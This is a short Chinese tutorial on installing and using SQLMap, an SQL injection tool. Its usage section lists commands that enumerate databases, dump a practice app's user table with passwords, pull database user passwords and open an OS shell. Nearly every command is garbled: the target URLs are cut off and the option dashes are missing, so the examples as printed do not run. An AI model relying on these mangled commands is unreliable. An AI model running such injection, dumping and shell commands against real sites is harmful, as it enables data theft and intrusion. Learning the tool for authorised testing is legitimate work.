SQLMap是一款功能强大的开源渗透测试工具,主要用于自动化检测和利用SQL注入漏洞。它支持多种数据库,包括MySQL、Oracle、PostgreSQL、SQL Server、Access、IBM DB2和SQLite等。
下载方法

1. 官方网站下载:可以从SQLMap的官方网站下载最新版本的SQLMap。
2. GitHub下载:也可以从GitHub上下载SQLMap的源代码。
安装步骤
1. 安装Python环境:由于SQLMap是基于Python语言的,所以需要先安装Python环境。可以从Python官方网站下载适合您操作系统的Python版本。
2. 下载并解压SQLMap:下载SQLMap的压缩包,并将其解压到Python安装目录下。例如,如果Python安装在`C:Python27`目录下,可以将SQLMap解压到该目录。
3. 配置环境变量(可选):将Python安装目录添加到系统环境变量中,以便在命令行中可以直接运行Python脚本。
4. 测试安装:打开命令行窗口,输入`python sqlmap.py -h`,如果显示出SQLMap的帮助信息,则说明安装成功。
使用步骤

1. 基本用法:
使用`-u`参数指定目标URL进行SQL注入检测,例如:`python sqlmap.py -u "
使用`batch`参数可以自动回答问题,避免手动输入,例如:`python sqlmap.py -u " batch`。
使用`cookie`参数可以指定当前会话的cookie值,例如:`python sqlmap.py -u " cookie="PHPSESSID=abcdefg"`。
2. 数据库操作:
使用`dbs`参数可以查询当前网站所有数据库,例如:`python sqlmap.py -u " dbs batch`。
使用`-D`参数可以指定数据库名,例如:`python sqlmap.py -u " -D dvwa tables`。
使用`tables`参数可以查询指定数据库下的所有表名,例如:`python sqlmap.py -u " -D dvwa tables`。
使用`-T`参数可以指定表名,例如:`python sqlmap.py -u " -D dvwa -T users columns`。
使用`columns`参数可以查询指定表的所有字段,例如:`python sqlmap.py -u " -D dvwa -T users columns`。
使用`dump`参数可以查询并导出指定表的数据,例如:`python sqlmap.py -u " -D dvwa -T users -C user,password dump`。
3. 其他操作:
使用`current-db`参数可以获取当前数据库名,例如:`python sqlmap.py -u " current-db`。
使用`current-user`参数可以获取当前登录数据库用户名称,例如:`python sqlmap.py -u " current-user`。
使用`users`参数可以查询数据库的所有用户,例如:`python sqlmap.py -u " users`。
使用`password`参数可以查询数据库用户的密码,例如:`python sqlmap.py -u " password`。
使用`os-shell`参数可以直接返回一个shell(如果存在的话),例如:`python sqlmap.py -u " os-shell`。
使用`flush-session`参数可以刷新session文件,例如:`python sqlmap.py -u " flush-session`。
用户使用反馈

根据用户的反馈,SQLMap是一款非常实用的工具,但由于其命令行界面,对于初学者来说可能有一定的学习曲线。一些用户建议增加图形界面以提高用户体验。用户还建议在使用过程中注意遵守相关法律法规,不要将其用于非法攻击测试。
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